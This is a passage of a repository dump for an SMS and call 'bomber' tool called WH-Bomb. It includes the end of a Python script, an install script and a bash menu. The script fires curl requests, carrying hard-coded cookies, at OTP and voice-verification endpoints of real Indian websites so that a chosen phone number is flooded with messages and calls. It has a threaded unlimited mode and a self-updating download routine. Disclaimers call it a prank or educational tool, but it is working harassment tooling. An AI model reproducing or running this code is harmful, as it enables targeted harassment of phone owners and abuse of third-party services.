https://marketing.tllms.com/elearn/api/v4/authentications/phone_call').read() 388 | return rd.lower().find("otp requests exceeded") == -1 389 | elif lim == 102: 390 | rd = os.popen('curl -s -X POST -H "Host:www.realestateindia.com" -H "content-length:58" -H "accept:text/html, */*; q=0.01" -H "origin:https://www.realestateindia.com" -H "x-requested-with:XMLHttpRequest" -H "save-data:on" -H "user-agent:Mozilla/5.0 (Linux; Android 8.1.0; vivo 1718) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Mobile Safari/537.36" -H "content-type:application/x-www-form-urlencoded; charset=UTF-8" -H "referer:https://www.realestateindia.com/thanks.php?newreg" -H "accept-encoding:gzip, deflate, br" -H "accept-language:en-IN,en;q=0.9,en-GB;q=0.8,en-US;q=0.7,hi;q=0.6" -H "cookie:_gat=1" -H "cookie:rei_mem_mobile_verify_status=0" -H "cookie:rei_mem_email_verify_status=N" -H "cookie:rei_mem_block_status=0" -H "cookie:rei_member_country=IN" -H "cookie:rei_paid_status=0" -H "cookie:rei_member_type=1" -H "cookie:rei_member_email=Fakemam%40ril.com" -H "cookie:rei_member_name=Fakeman" -H "cookie:rei_member_id=1547045" -H "cookie:cooki_sess_id=9q8bsucj6mgvu2dc03bfsvlf07" -H "cookie:name=9q8bsucj6mgvu2dc03bfsvlf07" -H "cookie:_gid=GA1.2.626525909.1560836369" -H "cookie:_ga=GA1.2.1033079331.1560836369" -H "cookie:visitedToken=176961560836367" -d \'action_id=call_to_otp&mob_num=' + pn + '&member_id=1547045\' "https://www.realestateindia.com/mobile-script/indian_mobile_verification_form.php?sid=0.5983221395805354"').read() 391 | return rd.lower().find("y") != -1 392 | elif lim == 103: 393 | os.system( 394 | 'curl -s -X POST -H "Host:www.olx.in" -H "content-length:44" -H "accept:*/*" -H "x-newrelic-id:VQMGU1ZVDxABU1lbBgMDUlI=" -H "origin:https://www.olx.in" -H "user-agent:Mozilla/5.0 (Linux; Android 5.0.2; SH-04G) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Mobile Safari/537.36" -H "content-type:application/json" -H "referer:https://www.olx.in/" -H "accept-encoding:gzip, deflate, br" -H "accept-language:en-US,en;q=0.9" -H "cookie:onap=16b1b8f48d4x746d47ab-1-16b1b8f48d4x746d47ab-19-1559537345" -H "cookie:bm_sv=CDB97F50DA6615AC420F3E6E77B04E42~OoX2fAuP7ggcNa0VjzE95FzJNKRdJlW09Hja0/cysIGF1sJoBO7i0ndGXqnTWLaunlyxktHLbE8BSstPCRYn8VdP15lvUxK3ZY9ahXOSgwAidxwXd1jCe5wjIzYbiXp5eKNWfFpowhFbpxloe+SrbiE0YHJVPcCV5bmdsHgPfQc=" -H "cookie:AMP_TOKEN=%24NOT_FOUND" -H "cookie:hint=true" -H "cookie:_gid=GA1.2.369819276.1559535517" -H "cookie:_ga=GA1.2.665688753.1559535517" -H "cookie:ldTd=true" -H "cookie:G_ENABLED_IDPS=google" -H "cookie:HIDE_ONBOARDING_LOCATION=true" -H "cookie:testCookie=testCookie" -H "cookie:ak_bmsc=307C5311FB00A3F4E856AFFE1A9D000B0214BED9E0210000909FF45C1E802067~plFZfbMQGgEDr7OWVe9FvqfT24ZtOVMamtYcaip71IYOrv2+SQ6fokSvMk2Uesz5v1sFfaichbtDgeVSj3te3vXJKezSWgvoVWrK7gfzFrLz1ruBm0MQj01V5CmpaTr6tRgDRSN6bks3nqvOHzR0tA1IoqfDfq2MKtmDjbknCI5FlLYUTwqlnwHowYArfybn2n3yilE6VKHjW+tH8kqjAfH8BGuijpmO9pNkgmIyOeaZIVM3k6FGOL3Wj3jLI8uGaU" -H "cookie:_abck=153BD3D333948A58932748CAC3D4C3F40214BED9E0210000909FF45C18838E05~0~8O+udxdG38sBFTPZpaBL4IGj7eUcKJ1VwAtJ52GMO5E=~-1~-1" -H "cookie:bm_sz=BD665D919F7C6FA8374F196445596436~YAAQ2b4UArpOAwtrAQAAq0qPGwNksHBgphLwDzwfBlwIRQJAG7txmjBo/of7NiAJ93gy/7vBhQ9l5sIKdwtl2j+U4bys2Hhh5tZlZL/jqdnW/JrgmgawcxiunAJ32BbY9UtnFIrNxbbRvzQCYnSwf/cz9a7jURsui7leuLaVm7mQEcHPOtC6g5jrToAMTbdA" -H "cookie:97c09e2aabdfed89b87a3010d7f13c64=353b4f9fd82d26268ad11b2c1e9ae019" -H "cookie:lqstatus=1559536704" -H "cookie:laquesis=pan-26381@a#pan-27752@b#pan-30043@b#pana-26381@b" -d \'{"type":"call","descriptor":"+91' + pn + '"}\' "https://www.olx.in/api/challenges" >/dev/null 2>&1') 395 | return True 396 | elif lim == 104: 397 | rd = os.popen('curl -s -X GET -H "Host:api.magicbricks.com" -H "Connection:keep-alive" -H "User-Agent:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.89 Safari/537.36" -H "Save-Data:on" -H "Accept:image/webp,image/apng,image/*,*/*;q=0.8" -H "Accept-Encoding:gzip, deflate, br" -H "Accept-Language:en-IN,en;q=0.9,en-GB;q=0.8,en-US;q=0.7,hi;q=0.6" "https://api.magicbricks.com/bricks/verifyOnCall.html?mobile=' + pn + '"').read().decode('utf-8') 398 | return rd.lower().strip().find('callmade') != -1 399 | elif lim == 106: 400 | rd = os.popen( 401 | 'curl -s "https://www.myupchar.com/user_profile/resend_otp_via_voice?id=' + pn + '"').read() 402 | return rd.find("1") != -1 403 | return False 404 | 405 | 406 | def remsp(num): 407 | num = num.replace(' ', '') 408 | num = num.replace('-', '') 409 | return num 410 | 411 | 412 | def start(target, counter, delay, ch, cc): 413 | clr() 414 | banner() 415 | failed = 0 416 | requested = 0 417 | success = int(requested) - int(failed) 418 | bombs = int(counter) + 1 419 | while success < (int(bombs)): 420 | os.system('clear') 421 | banner() 422 | try: 423 | api = random.choice(ch) 424 | except Exception: 425 | if cc == "91": 426 | print('Sorry All APIs Have Expired Please Update WH-bomber') 427 | input('Press Enter To Exit...') 428 | exit() 429 | else: 430 | if success > 0: 431 | print( 432 | '\n\n\tWe Are Sorry To Say That Bombing Limit For Your Country Has Been Reached...') 433 | print( 434 | '\nWe Are Working Too Hard To Increase The International Limit...') 435 | input( 436 | '\nThis will help us to give support to your country fast...\n\nPress Enter To Exit...') 437 | os.system('rm *.xxx* > /dev/null 2>&1') 438 | print('\n\n') 439 | banner() 440 | exit() 441 | else: 442 | print('\n\n\tSorry Your Country is Not Supported...') 443 | print( 444 | '\t\tPlease Send A Mail To ggspeedx29@gmail.com To Let Us Know...') 445 | input('Press Enter To Exit...') 446 | exit() 447 | print(random.choice(colors)) 448 | print("==================================================================") 449 | print(" BOMBING in progress, please wait !! ") 450 | print(" Please keep your data connection active during bombing !! ") 451 | print("==================================================================") 452 | print(" Target Number : +" + str(cc) + " ", target) 453 | print(" Number of Requests Sent : ", requested) 454 | print(" Successful Requests : ", success) 455 | print(" Failed Requests : ", failed) 456 | print("==================================================================") 457 | print(" Use this for fun, not for revenge !! ") 458 | print("==================================================================") 459 | try: 460 | result = getapi(target, api, cc) 461 | except Exception: 462 | result = False 463 | requested = requested + 1 464 | if result: 465 | success = success + 1 466 | else: 467 | failed = failed + 1 468 | while ch.count(api) > 0: 469 | ch.remove(api) 470 | time.sleep(float(delay)) 471 | if requested % 3 == 0: 472 | checkinternet() 473 | print(W) 474 | print('\n\nBombing Completed..') 475 | os.system('rm *.xxx* > /dev/null 2>&1') 476 | banner() 477 | exit() 478 | 479 | 480 | def update(): 481 | stuff_to_update = ['bomber.py', '.version'] 482 | for fl in stuff_to_update: 483 | dat = urllib.request.urlopen( 484 | "https://raw.githubusercontent.com/TheSpeedX/TBomb/master/" + fl).read() 485 | file = open(fl, 'wb') 486 | file.write(dat) 487 | file.close() 488 | print('\n\t\tUpdated Successfull !!!!') 489 | print('\tPlease Run The Script Again...') 490 | exit() 491 | 492 | 493 | clr() 494 | banner() 495 | try: 496 | urllib.request.urlopen('https://www.google.com') 497 | except Exception: 498 | print("You are not connected To Internet!!!") 499 | print("\tPlease Connect To Internet To Continue...\n") 500 | input('Exiting....\n Press Enter To Continue....') 501 | exit() 502 | print('\tChecking For Updates...') 503 | ver = urllib.request.urlopen( 504 | "https://raw.githubusercontent.com/TheSpeedX/TBomb/master/.version").read().decode('utf-8') 505 | verl = '' 506 | try: 507 | verl = open(".version", 'r').read() 508 | except Exception: 509 | pass 510 | if ver != verl: 511 | print('\n\t\tAn Update is Available....') 512 | print('\tStarting Update...') 513 | update() 514 | print("Your Version is Up-To-Date") 515 | print('\n\n\t\t\tStarting Bomber...\n\n') 516 | try: 517 | noti = urllib.request.urlopen( 518 | "https://raw.githubusercontent.com/wh-hackerexploit/WH-boomber/master/.whnotefy").read().decode('utf-8') 519 | noti = noti.upper().strip() 520 | if len(noti) > 10: 521 | print('\n\n\tNOTIFICATION: ' + noti + '\n\n') 522 | 523 | except Exception: 524 | 525 | pass 526 | 527 | while True: 528 | pn = "" 529 | cc = input("\tEnter Your Country Code (Without +) : ") 530 | if '+' in cc: 531 | tc = list(cc) 532 | tc.remove('+') 533 | cc = ''.join(tc) 534 | cc = cc.strip() 535 | pn = input("\tEnter Target Number: +" + cc + " ") 536 | pn = remsp(pn) 537 | if len(cc) >= 4 or len(cc) < 1: 538 | print('\n\nInvalid Country Code..\n\t\tCountry Codes Are Generally 1-3 digits...\n') 539 | continue 540 | if len(pn) <= 6: 541 | print('\n\nInvalid Phone Number..\n') 542 | continue 543 | for cch in str(cc + pn): 544 | if not cch.isdigit(): 545 | print('\n\nPhone Number Must Consist Of Numbers Only\n') 546 | continue 547 | break 548 | type = 0 549 | try: 550 | if sys.argv[1] == "call": 551 | type = 1 552 | except Exception: 553 | type = 0 554 | if type == 1: 555 | nm = int(input("Enter Number of Calls To Send(Maximum 15): ")) 556 | if nm > 15: 557 | print("\t\tYou Have Entered " + str(nm) + 558 | ".\n\tNormalizing Value To 15") 559 | nm = 15 560 | dl = float(input("Enter Delay time (in seconds) [Recommended 10 sec ] : ")) 561 | elif type == 0: 562 | if cc == "91": 563 | nm = int(input("Enter Number of Messages To Send(0 For Unlimited): ")) 564 | dl = float( 565 | input("Enter Delay time (in seconds) [Recommended 2 sec ] : ")) 566 | else: 567 | nm = int(input("Enter Number of Messages To Send: ")) 568 | dl = float( 569 | input("Enter Delay time (in seconds) [Recommended 10 sec ] : ")) 570 | maxlim = 0 571 | if cc == "91": 572 | maxlim = 500 573 | else: 574 | maxlim = 100 575 | if nm > maxlim: 576 | print('\n\n\tSorry Due To Misuse Of This Script We Only Provide ' + 577 | str(maxlim) + ' SMS At Once...\n\n') 578 | print('Number Of SMS Has been Set To ' + str(maxlim)) 579 | nm = maxlim 580 | if not cc.strip() == "91": 581 | if type == 1: 582 | print( 583 | '\t\tSorry But Call Bombing is Currently Supported Only For Indian Numbers!!!!') 584 | print() 585 | input('Press Enter To Exit....') 586 | print('\n\n') 587 | banner() 588 | exit() 589 | cnt = 0 590 | if pn.strip() == '' or dl <= 0 or nm <= 0 or cc.strip() == '' or cc.find('+') != -1: 591 | print('\n\n\tSeems Like You Have Given Wrong Inputs...') 592 | input('\n\t\tPress Enter To Exit...') 593 | banner() 594 | exit() 595 | ch = [0, 14, 15, 16] 596 | start(pn, nm, dl, ch, str(cc)) 597 | exit() 598 | ch = [i for i in range(17)] 599 | cbomb = False 600 | if pn.strip() == '' or dl <= 0 or nm < 0: 601 | print('\n\n\tSeems Like You Have Given Wrong Inputs...') 602 | input('\n\t\tPress Enter To Exit...') 603 | banner() 604 | exit() 605 | if type == 1: 606 | print("NOTE: Call Bomb Might Not Work on DND Activated Numbers...\n") 607 | print("\n\tPlease Don't Overload Call Bomb So That Is Would Work For Longer Period Of Time...") 608 | cbomb = True 609 | if cbomb: 610 | chl = [100, 101, 102, 103, 104, 105, 106] 611 | start(pn, nm, dl, chl, str(cc)) 612 | exit() 613 | if nm == 0: 614 | nt = int(input("\tNumber Of Threads(10 to 20) : ")) 615 | if nt <= 0 or nt >= 30: 616 | print('\tTBomb Shows Better Result in 10 to 25 Threads\n\t\tStill Continuing....') 617 | print("\n\nPlease Remember That This Is in Experimental Stage And Is Incredibly Fast...") 618 | t = [None] * nt 619 | print(random.choice(colors)) 620 | print("\n\n==================================================================") 621 | print(" Gearing Up Bomber, please wait !! ") 622 | print(" Please keep your data connection active during bombing !! ") 623 | print("==================================================================") 624 | print(" Target Number : +91", pn) 625 | print(" Number of Threads : ", nt) 626 | print(" Delay : ", dl) 627 | print("==================================================================") 628 | print(" Use this for fun, not for revenge !! ") 629 | print("==================================================================") 630 | print(W) 631 | input('\n\nPress CTRL+Z To STOP Bomber... \nPress Enter To Start Bomber...\n') 632 | os.system('rm *.xxx* > /dev/null 2>&1') 633 | print("\n\nStarting Bomb....") 634 | for i in range(nt): 635 | t[i] = threading.Thread(target=infinite, args=(pn, dl, ch, maxlim,)) 636 | t[i].daemon = True 637 | t[i].start() 638 | time.sleep(2) 639 | ci = 0 640 | while True: 641 | ci += 1 642 | l = count_inf 643 | print(" Total Number of Requests Sent : ", l) 644 | if int(l) > maxlim: 645 | print('\n\n\tSorry Due To Misuse Of This Script We Only Provide ' + 646 | str(maxlim) + ' SMS At Once...\n\n') 647 | input('Press Enter To Exit...') 648 | os.system('rm *xxx* > /dev/null 2>&1') 649 | banner() 650 | exit() 651 | time.sleep(1) 652 | if ci % 3 == 0: 653 | checkinternet() 654 | else: 655 | start(pn, nm, dl, ch, '91') 656 | exit() 657 | -------------------------------------------------------------------------------- /whb-bin/install.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | LPARTH=`pwd` 3 | RED=$'\e[1;31m' 4 | GREEN=$'\e[1;32m' 5 | YELLOW=$'\e[1;33m' 6 | BLUE=$'\e[1;34m' 7 | RESTORE=$'\e[0m' 8 | 9 | echo "${GREEN} WELCOME TO The ${RESTORE}" 10 | echo "${RESTORE}" 11 | echo "${YELLOW}" 12 | 13 | echo " █ █░ ██░ ██ " 14 | echo "▓█░ █ ░█░▓██░ ██▒" 15 | echo "▒█░ █ ░█ ▒██▀▀██░" 16 | echo "░█░ █ ░█ ░▓█ ░██ " 17 | echo "░░██▒██▓ ░▓█▒░██▓" 18 | echo "░ ▓░▒ ▒ ▒ ░░▒░▒" 19 | echo " ▒ ░ ░ ▒ ░▒░ ░" 20 | echo " ░ ░ ░ ░░ ░" 21 | echo " ░ ░ ░ ░" 22 | echo " " 23 | echo " " 24 | echo " ██╗ ██╗ █████╗ ██████╗██╗ ██╗███████╗██████╗ ███████╗██╗ ██╗██████╗ ██╗ ██████╗ ██╗████████╗" 25 | echo " ██║ ██║██╔══██╗██╔════╝██║ ██╔╝██╔════╝██╔══██╗ ██╔════╝╚██╗██╔╝██╔══██╗██║ ██╔═══██╗██║╚══██╔══╝" 26 | echo " ███████║███████║██║ █████╔╝ █████╗ ██████╔╝ █████╗ ╚███╔╝ ██████╔╝██║ ██║ ██║██║ ██║ " 27 | echo " ██╔══██║██╔══██║██║ ██╔═██╗ ██╔══╝ ██╔══██╗ ██╔══╝ ██╔██╗ ██╔═══╝ ██║ ██║ ██║██║ ██║ " 28 | echo " ██║ ██║██║ ██║╚██████╗██║ ██╗███████╗██║ ██║ ███████╗██╔╝ ██╗██║ ███████╗╚██████╔╝██║ ██║ " 29 | echo " ╚═╝ ╚═╝╚═╝ ╚═╝ ╚═════╝╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝ ╚══════╝╚═╝ ╚═╝╚═╝ ╚══════╝ ╚═════╝ ╚═╝ ╚═╝ " 30 | echo " " 31 | #egrep -i ver toolinfo; 32 | 33 | echo "${RESTORE}" 34 | echo "${RED}==============================================================================================================" 35 | echo "${RESTORE}" 36 | echo "${BLUE}" 37 | echo "LEGAL DISCLAIMER >>" 38 | echo "${RED}" 39 | echo "Usage of WH-HackerExploit Hacking Tool for attacking targets without prior mutual " 40 | echo "consent is illegal. It's the end user's responsibility to obey all applicable local," 41 | echo "state and federal laws. Developers assume no liability and are not responsible" 42 | echo "for any misuse or damage caused by this program. Only use for educational purposes." 43 | echo "" 44 | echo "${RED}==============================================================================================================" 45 | echo "${RESTORE}" 46 | echo "${RESTORE}" 47 | 48 | sleep 1.5; 49 | 50 | echo "${YELLOW}" 51 | echo "[*] Checking For Internet Connection >>>>>>>" 52 | echo "" 53 | function checkinternet() 54 | { 55 | ping -c 1 google.com > /dev/null 2>&1 56 | if [[ "$?" != 0 ]] 57 | then 58 | echo -e "[*] Warning >Internet Connection:${RED} FAILED ${YELLOW}" 59 | echo 60 | echo -e "[*] This framework Needs An Active Internet Connection" 61 | echo 62 | echo -e "[*] HackerExploit >> Exit :( " 63 | echo && sleep 2 64 | exit 65 | else 66 | echo -e "[*] Internet Status : ${GREEN} CONNECTED" 67 | fi 68 | } 69 | checkinternet 70 | 71 | 72 | apc=`which python` 73 | if [ "$?" != "0" ]; then 74 | FaIl="YES" 75 | echo ${BLUE}[x]${RED} python installation '->' not found!${RESTORE}; 76 | sleep 1 77 | echo ${BLUE}[↻]${YELLOW} This script requires python to work!${Resetr1}; 78 | echo ${YellowFy1}[☆] Please wait: installing missing dependencies ..${Resetr1}; 79 | echo "" 80 | sudo apt-get install python 81 | echo "" 82 | else 83 | echo ${BLUE}[✓]${YELLOW}" python installation : ${GREEN}found!"${RESTORE}; 84 | sleep 1 85 | fi 86 | 87 | 88 | 89 | apc=`which python3` 90 | if [ "$?" != "0" ]; then 91 | FaIl="YES" 92 | echo ${BLUE}[x]${RED} python3 installation '->' not found!${RESTORE}; 93 | sleep 1 94 | echo ${BLUE}[↻]${YELLOW} This script requires python3 to work!${Resetr1}; 95 | echo ${YellowFy1}[☆] Please wait: installing missing dependencies ..${Resetr1}; 96 | echo "" 97 | sudo apt-get install python3 98 | echo "" 99 | else 100 | echo ${BLUE}[✓]${YELLOW}" python3 installation : ${GREEN}found!"${RESTORE}; 101 | sleep 1 102 | fi 103 | 104 | apc=`which pip` 105 | if [ "$?" != "0" ]; then 106 | FaIl="YES" 107 | echo ${BLUE}[x]${RED} pip installation '->' not found!${RESTORE}; 108 | sleep 1 109 | echo ${BLUE}[↻]${YELLOW} This script requires pip to work!${Resetr1}; 110 | echo ${YellowFy1}[☆] Please wait: installing missing dependencies ..${Resetr1}; 111 | echo "" 112 | sudo apt-get install python-pip 113 | echo "" 114 | else 115 | echo ${BLUE}[✓]${YELLOW}" pip installation : ${GREEN}found!"${RESTORE}; 116 | sleep 1 117 | fi 118 | 119 | apc=`which pip3` 120 | if [ "$?" != "0" ]; then 121 | FaIl="YES" 122 | echo ${BLUE}[x]${RED} pip3 installation '->' not found!${RESTORE}; 123 | sleep 1 124 | echo ${BLUE}[↻]${YELLOW} This script requires pip3 to work!${Resetr1}; 125 | echo ${YellowFy1}[☆] Please wait: installing missing dependencies ..${Resetr1}; 126 | echo "" 127 | sudo apt-get install python-pip3 128 | echo "" 129 | else 130 | echo ${BLUE}[✓]${YELLOW}" pip3 installation : ${GREEN}found!"${RESTORE}; 131 | sleep 1 132 | fi 133 | 134 | 135 | pip install -r $LPARTH/whb-bin/requirements.txt 136 | pip3 install -r $LPARTH/whb-bin/requirements.txt 137 | bash $LPARTH/WHB.sh 138 | -------------------------------------------------------------------------------- /whb-bin/not: -------------------------------------------------------------------------------- 1 | WH-Bomb Has Been OpenSourced !!! 2 | Please Contribute To Keep it Alive. 3 | Update To WH-Bomb v1.7b (A More Colurful WH-Bomb) 4 | -------------------------------------------------------------------------------- /whb-bin/requirements.txt: -------------------------------------------------------------------------------- 1 | requests >=2, <3 2 | urllib3 >=1, <2 -------------------------------------------------------------------------------- /whb-bin/scBomb.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | LPARTH=`pwd` 3 | homemenu="whmenu.sh" 4 | RED=$'\e[1;31m' 5 | GREEN=$'\e[1;32m' 6 | YELLOW=$'\e[1;33m' 7 | BLUE=$'\e[1;34m' 8 | RESTORE=$'\e[0m' 9 | clear 10 | echo "${YELLOW}" 11 | echo " " 12 | echo "WWWWWWWW WWWWWWWWHHHHHHHHH HHHHHHHHH " 13 | echo "W::::::W W::::::WH:::::::H H:::::::H " 14 | echo "W::::::W W::::::WH:::::::H H:::::::H " 15 | echo "W::::::W W::::::WHH::::::H H::::::HH " 16 | echo " W:::::W WWWWW W:::::W H:::::H H:::::H " 17 | echo " W:::::W W:::::W W:::::W H:::::H H:::::H " 18 | echo " W:::::W W:::::::W W:::::W H::::::HHHHH::::::H " 19 | echo " W:::::W W:::::::::W W:::::W H:::::::::::::::::H ---------------" 20 | echo " W:::::W W:::::W:::::W W:::::W H:::::::::::::::::H -:::::::::::::-" 21 | echo " W:::::W W:::::W W:::::W W:::::W H::::::HHHHH::::::H ---------------" 22 | echo " W:::::W:::::W W:::::W:::::W H:::::H H:::::H " 23 | echo " W:::::::::W W:::::::::W H:::::H H:::::H " 24 | echo " W:::::::W W:::::::W HH::::::H H::::::HH " 25 | echo " W:::::W W:::::W H:::::::H H:::::::H " 26 | echo " W:::W W:::W H:::::::H H:::::::H " 27 | echo " WWW WWW HHHHHHHHH HHHHHHHHH " 28 | echo "${BLUE}" 29 | echo "" 30 | echo " @@@@@@ @@@@@@@@@@ @@@@@@ @@@@@@@ @@@@@@ @@@ @@@ " 31 | echo "@@@@@@@ @@@@@@@@@@@ @@@@@@@ @@@@@@@@ @@@@@@@@ @@@ @@@ " 32 | echo "!@@ @@! @@! @@! !@@ @@! !@@ @@! @@@ @@! @@! " 33 | echo "!@! !@! !@! !@! !@! !@! !@! !@! @!@ !@! !@! " 34 | echo "!!@@!! @!! !!@ @!@ !!@@!! @!@!@!@!@ !@! @!@!@!@! @!! @!! " 35 | echo " !!@!!! !@! ! !@! !!@!!! !!!@!@!!! !!! !!!@!!!! !!! !!! " 36 | echo " !:! !!: !!: !:! !!: :!! !!: !!! !!: !!: " 37 | echo " !:! :!: :!: !:! :!: :!: :!: !:! :!: :!: " 38 | echo ":::: :: ::: :: :::: :: ::: ::: :: ::: :: :::: :: :::: " 39 | echo ":: : : : : :: : : :: :: : : : : : :: : : : :: : : " 40 | echo "" 41 | echo "${RED}" 42 | echo " ______ ____ ____ __ __ ______ _____ ______ " 43 | echo "(_ _ \ / __ \ / __ \ \ \ / / (_ _ \ / ___/ ( __ \ " 44 | echo " ) (_) ) / / \ \ / / \ \ () \/ () ) (_) ) ( (__ ) (__) ) " 45 | echo " \ _/ ( () () ) ( () () ) / _ _ \ \ _/ ) __) ( __/ " 46 | echo " / _ \ ( () () ) ( () () ) / / \/ \ \ / _ \ ( ( ) \ \ _ " 47 | echo " _) (_) ) \ \__/ / \ \__/ / /_/ \_\ _) (_) ) \ \___ ( ( \ \_))" 48 | echo "(______/ \____/ \____/ (/ \) (______/ \____\ )_) \__/ " 49 | 50 | echo "${GREEN}" 51 | 52 | if [[ -s update.speedx ]];then 53 | echo "All Requirements Found...." 54 | else 55 | 56 | echo Press Enter To Continue... 57 | read ff 58 | fi 59 | while : 60 | do 61 | rm *.xxx >/dev/null 2>&1 62 | clear 63 | LPARTH=`pwd` 64 | RED=$'\e[1;31m' 65 | GREEN=$'\e[1;32m' 66 | YELLOW=$'\e[1;33m' 67 | BLUE=$'\e[1;34m' 68 | RESTORE=$'\e[0m' 69 | homepage=$LPARTH/WHB.sh 70 | homemenu="whmenu.sh" 71 | 72 | echo " █ █░ ██░ ██ " 73 | echo "▓█░ █ ░█░▓██░ ██▒" 74 | echo "▒█░ █ ░█ ▒██▀▀██░" 75 | echo "░█░ █ ░█ ░▓█ ░██ " 76 | echo "░░██▒██▓ ░▓█▒░██▓" 77 | echo "░ ▓░▒ ▒ ▒ ░░▒░▒" 78 | echo " ▒ ░ ░ ▒ ░▒░ ░" 79 | echo " ░ ░ ░ ░░ ░" 80 | echo " ░ ░ ░ ░" 81 | echo " " 82 | 83 | 84 | echo " " 85 | echo " ██╗ ██╗ █████╗ ██████╗██╗ ██╗███████╗██████╗ ███████╗██╗ ██╗██████╗ ██╗ ██████╗ ██╗████████╗" 86 | echo " ██║ ██║██╔══██╗██╔════╝██║ ██╔╝██╔════╝██╔══██╗ ██╔════╝╚██╗██╔╝██╔══██╗██║ ██╔═══██╗██║╚══██╔══╝" 87 | echo " ███████║███████║██║ █████╔╝ █████╗ ██████╔╝ █████╗ ╚███╔╝ ██████╔╝██║ ██║ ██║██║ ██║ " 88 | echo " ██╔══██║██╔══██║██║ ██╔═██╗ ██╔══╝ ██╔══██╗ ██╔══╝ ██╔██╗ ██╔═══╝ ██║ ██║ ██║██║ ██║ " 89 | echo " ██║ ██║██║ ██║╚██████╗██║ ██╗███████╗██║ ██║ ███████╗██╔╝ ██╗██║ ███████╗╚██████╔╝██║ ██║ " 90 | echo " ╚═╝ ╚═╝╚═╝ ╚═╝ ╚═════╝╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝ ╚══════╝╚═╝ ╚═╝╚═╝ ╚══════╝ ╚═════╝ ╚═╝ ╚═╝ " 91 | echo " " 92 | echo "${RESTORE}" 93 | echo "${RED}==============================================================================================================" 94 | echo "${RESTORE}" 95 | echo "${BLUE}" 96 | echo "LEGAL DISCLAIMER >>" 97 | echo "${RED}" 98 | echo "Usage of WH-HackerExploit Hacking Tool for attacking targets without prior mutual " 99 | echo "consent is illegal. It's the end user's responsibility to obey all applicable local," 100 | echo "state and federal laws. Developers assume no liability and are not responsible" 101 | echo "for any misuse or damage caused by this program. Only use for educational purposes." 102 | echo "" 103 | echo "${RED}==============================================================================================================" 104 | echo "${RESTORE}" 105 | echo "${BLUE}" 106 | echo -e "\e[1;31m" 107 | echo "${GREEN}" 108 | echo " " 109 | echo "Press 1 To Start SMS Bomber " 110 | echo "Press 2 To Start Call Bomber " 111 | echo "Press 3 To Update (Works On Linux And Linux Emulators) " 112 | echo "Press 4 To View Features " 113 | echo "Press 5 To Back " 114 | echo "" 115 | read -p ' WH :~ ' ch 116 | if [ $ch -eq 1 ];then 117 | clear 118 | echo -e "\e[1;32m" 119 | rm *.xxx >/dev/null 2>&1 120 | python3 $LPARTH/whb-bin/bomber.py 121 | rm *.xxx >/dev/null 2>&1 122 | exit 0 123 | elif [ $ch -eq 2 ];then 124 | clear 125 | echo -e "\e[1;32m" 126 | echo 'Call Bomb By SpeedX'> call.xxx 127 | python3 $LPARTH/whb-bin/bomber.py call 128 | rm *.xxx >/dev/null 2>&1 129 | exit 0 130 | elif [ $ch -eq 3 ];then 131 | clear 132 | apt install git -y 133 | echo -e "\e[1;34m Downloading Latest Files..." 134 | git clone https://github.com/TheSpeedX/WH-Boom 135 | if [[ -s WH-Boom/WH-Boom.sh ]];then 136 | cd WH-Boom 137 | cp -r -f * .. > temp 138 | cd .. 139 | rm -rf WH-Boom >> temp 140 | rm update.speedx >> temp 141 | rm temp 142 | chmod +x WH-Boom.sh 143 | fi 144 | echo -e "\e[1;32m WH-Boom Will Restart Now..." 145 | echo -e "\e[1;32m All The Required Packages Will Be Installed..." 146 | echo -e "\e[1;34m Press Enter To Proceed To Restart..." 147 | read a6 148 | ./WH-Boom.sh 149 | exit 150 | elif [ $ch -eq 4 ];then 151 | clear 152 | echo -e "\e[1;33m" 153 | figlet WH-Boom 154 | echo -e "\e[1;34mCreated By \e[1;34m" 155 | 156 | 157 | echo "██╗ ██╗██╗ ██╗ ██╗ ██╗ █████╗ ██████╗██╗ ██╗███████╗██████╗ ███████╗██╗ ██╗██████╗ ██╗ ██████╗ ██╗████████╗" 158 | echo "██║ ██║██║ ██║ ██║ ██║██╔══██╗██╔════╝██║ ██╔╝██╔════╝██╔══██╗██╔════╝╚██╗██╔╝██╔══██╗██║ ██╔═══██╗██║╚══██╔══╝" 159 | echo "██║ █╗ ██║███████║█████╗███████║███████║██║ █████╔╝ █████╗ ██████╔╝█████╗ ╚███╔╝ ██████╔╝██║ ██║ ██║██║ ██║ " 160 | echo "██║███╗██║██╔══██║╚════╝██╔══██║██╔══██║██║ ██╔═██╗ ██╔══╝ ██╔══██╗██╔══╝ ██╔██╗ ██╔═══╝ ██║ ██║ ██║██║ ██║ " 161 | echo "╚███╔███╔╝██║ ██║ ██║ ██║██║ ██║╚██████╗██║ ██╗███████╗██║ ██║███████╗██╔╝ ██╗██║ ███████╗╚██████╔╝██║ ██║ " 162 | echo " ╚══╝╚══╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═╝ ╚═════╝╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝╚═╝ ╚══════╝ ╚═════╝ ╚═╝ ╚═╝ " 163 | echo " " 164 | 165 | 166 | 167 | 168 | 169 | echo " " 170 | echo -e "\e[1;32m Features\e[1;34m" 171 | echo " [+] Unlimited And Super-Fast Bombing" 172 | echo " [+] International Bombing" 173 | echo " [+] Call Bombing " 174 | echo " [+] Protection List" 175 | echo " [+] Automated Future Updates" 176 | echo " [+] Easy To Use And Embed in Code" 177 | echo -e "\e[1;32m Contributors\e[1;33m" 178 | #echo -e "\e[1;33m [*] SpeedX \e[1;31m" 179 | #echo " [-] Mail At: ggspeedx29@gmail.com" 180 | echo -e "\e[1;33m [*] The Black Hacker Roxstar \e[1;31m" 181 | #echo " [-] Ping At: http://wa.me/917600140353" 182 | echo -e "\e[1;33m [*] Rieltar \e[1;31m" 183 | #echo " [-] Ping At: https://t.me/Rieltar" 184 | echo -e "\e[1;33m [*] 0n1cOn3 (Stefan) \e[1;31m" 185 | #echo " [-] Mail At: 0n1cOn3@gmx.ch" 186 | echo "" 187 | echo "" 188 | echo -e "\e[1;31m This Script is Only For Educational Purposes or To Prank.\e[0m" 189 | echo -e "\e[1;31m Do not Use This To Harm Others. \e[0m" 190 | echo -e 